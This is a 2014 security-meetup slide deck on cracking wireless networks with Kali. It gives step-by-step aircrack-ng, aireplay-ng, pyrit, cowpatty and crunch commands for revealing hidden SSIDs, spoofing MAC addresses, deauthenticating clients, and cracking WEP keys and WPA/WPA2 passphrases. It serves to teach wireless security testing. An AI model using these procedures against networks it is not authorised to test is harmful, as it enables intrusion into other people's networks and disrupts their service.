null Bangalore Chapter - March 2014 Wireless Humla

1. Wireless Cracking Using Kali
Asish Agarwalla

2. Terminology
• SSID (Service Set Identifier)
– An SSID is the Name of a Network
• BSSID (Basic Service Set Identifier)
– MAC address of the access point(AP)
• Wireless Client

3. Monitor Mode
• Monitor mode allows to monitor all traffic
received from the wireless network without
having associate with an access point or ad
hoc network.
• Create a monitor mode interface
– airmon-ng start <wlan interface>
– Ex: airmon-ng start wlan0

4. Hidden SSID
• Passive Mode
– Use Wireshark/airodump and wait for any client to
connect to AP
• airodump-ng --channel <channel> --bssid xx.xx.xx.xx.xx.xx
<monitor interface>
• Active Mode
– Sending de-authentication packets using aireplay and
Use Wireshark/airodump to monitor the traffic.
– aireplay-ng –deauth 0 –a <bssid> <monitor mode
interface>
Probe Request and Probe Response packets will contains
the SSID of the network.

5. Mac Filtering Bypass
• Passive Mode
– Use Wireshark/airodump and wait for any client to connect to AP
– airodump-ng –channel <channel> --bssid xx.xx.xx.xx.xx.xx <monitor
interface>
• Active Mode
– Force all connected client to authenticate again by sending de-
authentication packets using aireplay and use Wireshark/ airodump
to monitor the traffic
– aireplay-ng –deauth 0 –a <bssid> <monitor mode interface>
Once we find a whitelisted client's MAC address, we can spoof the MAC
address of the client using the macchanger utility .

6. WEP (Wired Equivalent Privacy)
Wireless Security
• Two types of WEP authentication
– Open System Authentication
– Shared Key Authentication
• Encrypt all network packages using
– a stream-cipher (RC4) for confidentiality
– a checksum (CRC-32) for integrity know as ICV
• 64 Bit key = 24Bit IV + 40 Bit Key
• 128 Bit Key = 24Bit IV + 104 Bit Key

7. WEP Encryption
IV(24 Bit) Secret Key(40Bits)+
RC4 Algorithm Data ICV
Cipher Text ICV

8. WEP Weakness
• IV only 24-bits in WEP, IV must repeat
after 2^24 or ~ 16.7M packets
• IV sent in clear text
• CRC-32 is not cryptographically secure to
authenticate the message

9. WEP Cracking
1. Start Monitor Mode: airmon-ng start wlan0
2. Identify the target BSSID, SSID, Channel using airodump-ng:
airodump-ng mon0
3. Configured monitor interface to listen on target channel:
iwconfig mon0 channel <no>
4. Capture the packer using airodump:
airodump-ng --bssid <BSSID> --channel <no> -w <filename> mon0
5. Broadcast deauth packets: aireplay-ng -0 0 -a <BSSID> mon0

10. WEP Cracking
6. Send deauth packet to a specific client:
aireplay-ng -0 0 -a <BSSID> -c <mac of associated client > mon0
7. Fake authentication:
aireplay -1 0 -e ssid -a <bssid> -h <attacker machine /spoof mac
address> mon0
8. Generate data packets using Arp Replay:
aireplay -3 -b <bssid> -h <attacker machine/connected client mac
address> mon0
9. Crack : aircrack-ng <file.cap>

11. WEP Packet Decrypting
1. airdecap-ng -w <Shared Key> <captured_file.cap>
2. The decrypted files are stored in a file named captured_file-dec.cap
3. Open the captured_file-dec.cap using wireshark

12. WPA/WPA2
• WPA uses TKIP encryption algorithm
• WPA2 mandatorily uses the AES-CCMP
algorithm for encryption
• WPA and WPA2 support PSK and EAP-based
authentication
• WPA/WPA2 PSK is vulnerable to a dictionary
attack

13. WPA/WPA2 4 Ways Handshake

14. WPA/WPA2 4 Ways Handshake
• Both Client and AP Generate Pairwise Master Key (PMK )
• PMK is derived using the WPA/WPA2 PSK passphrase
supplied by the user, along with the SSID. The
combination of both of these are sent through the
Password Based Key Derivation Function (PBKDF2), which
outputs the 256-bit shared key.
• The AP sends a psuedo-randomly generated Anonce to
the device .
• The device generates its own psuedo-random Snonce.
• The device then uses these two nonces, the MAC address
of the AP, the MAC address of the device, and the PMK, to
create a key called the Pairwise Temporal Key (PTK) which
is 64 bytes, or 512 bits in length

15. WPA/WPA2 4 Ways Handshake
• The device sends his snonce and a MIC to AP
• Now AP will calculate the PTK using the same
5 parameter and compare its MIC(message
integrity code) with client sent MIC
• If both matches AP singed his anonce using
PTK and send it along with key installation

16. WPA/WPA2 Dictionary Attack

17. WPA/WPA2 Cracking
1. Start Monitor Mode: airmon-ng start mon0
2. Identify the target BSSID, SSID, Channel using airodump-ng:
airodump-ng mon0
3. Configured monitor interface to listen on target channel:
iwconfig mon0 channel <no>
4. Capture the packer using airodump:
airodump-ng --bssid <BSSID> --channel <no> -w <filename> mon0
5. Broadcast deauth packets: aireplay-ng -0 0 -a <BSSID> mon0
6. Crack : aircrack-ng -w <password file> <file.cap>

18. Speeding up WPA/WPA2 PSK cracking
with PMK
• Generate PMK : Genpmk –f <password file> -d
<output file> -s “SSID”
• cowpatty –d <pmkfile> -s “SSID” -r <captured
file>
• Crack pyrit: pyrit -r <captured file> -i <pmk
file> attack_cowpatty

19. Speeding up WPA/WPA2 PSK cracking
with PMK
• Import password to pyrit
– pyrit -i <password file> import_passwords
• Create a essid in pyrit
– pyrit -e <ssid> creat_essid
• Generate PMK
– pyrit batch
• Crack using PMK
– pyrit -r <captured file> attack_db

20. Password File
• crunch <min><max> <letter> -t <guess>
• Ex: crunch 10 10 1234567890 -t
98767@@@@@

21. Thanks
asishagarwalla@gmail.com
9379773260